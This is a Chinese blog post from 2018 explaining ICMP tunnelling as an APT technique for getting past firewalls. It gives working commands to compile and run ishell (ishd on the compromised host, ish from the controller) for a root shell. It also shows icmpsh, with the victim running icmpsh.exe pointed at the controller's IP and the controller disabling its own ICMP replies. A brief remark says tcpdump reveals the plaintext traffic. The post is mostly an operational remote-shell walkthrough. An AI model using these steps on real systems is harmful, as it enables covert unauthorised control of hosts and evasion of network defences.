icmp隧道

 

 

上次分享了利用icmp隧道进行常规端口的转发,也是APT攻击者经常使用的攻击手法之一。APT攻击者除了使用icmp进行常规端口转发以外,还经常用于穿透企业的防火墙,通过把TCP或者UDP数据包封装进ICMP协议中,对数据进行转发。在服务器上不需要服务器开任何端口,只需服务器开通icmp协议,能够ping通该地址,就可以对其进行远程控制。
首先需要在被控主机上安装icmpshell,对其进行编译后会生成两个可执行的文件,一个是ish是控制端使用的,一个是ishd是被控端使用的。
命令如下:
tar -zxvf ish-v0.2.tar.gz
cd ISHELL-v0.2
make && make linux

安装之后,需要在被控端服务器执行如下命令:

-i 指定ID,标识自己的请求
-t 指定icmp数据的类型 
-p 指定 icmp 数据 包大小 ,一般 情况下 1024 即可

./ishd -i 555 -t 0 -p 1099 &

 

在被控主机上执行如下命令,主动连接到
./ish -i 555 -t 0 -p 1099 主控制端IP地址

 

在主控端,需要指定相同的表示id,以表明自己的身份信息,发送的数据包大小为1099字节,和对方可以ping通的ip地址。就能够通过ICMP协议成功连接到被控主机系统,并且具有root权限,可以进行任何操作。

 在操作过程中也通过tcpdump对数据流进行数据包,因为icmp是明文通讯协议,所有的数据包通讯内容都可以在数据包中回溯和还原整个攻击的场景,如下图在数据包中可以清晰的看到执行的命令,查看的数据内容,并且可以通过icmp协议传输数据。

 

 在icmp隧道的应用中还有一个非常好用的攻击,那就是icmpsh。该软件的稳定性非常好,而且每个1秒受控主机不停的给主控端主机发送ICMP的心跳数据包。

在主控主机上运行如下命令:先关闭主机自身的icmp,防止出现不稳定的情况。
sysctl -w net.ipv4.icmp_echo_ignore_all=1  (sysctl -w net.ipv4.icmp_echo_ignore_all=0 恢复正常状态)

-t:制定主控端的IP地址,必填项
-d milliseconds 延迟
-b num  限制块
-s bytes  发送的最大字节

 

在主控端执行命令
python icmp_m.py 192.168.1.29[本地主机] 192.168.1.34[被控主机]

受控主机执行:

icmpsh.exe -t 192.168.1.29[主控端地址] -d 600 -b 20 -s 256

 

 

 

posted @ 2018-10-09 17:03  星空下的夜  阅读(1159)  评论(0编辑  收藏  举报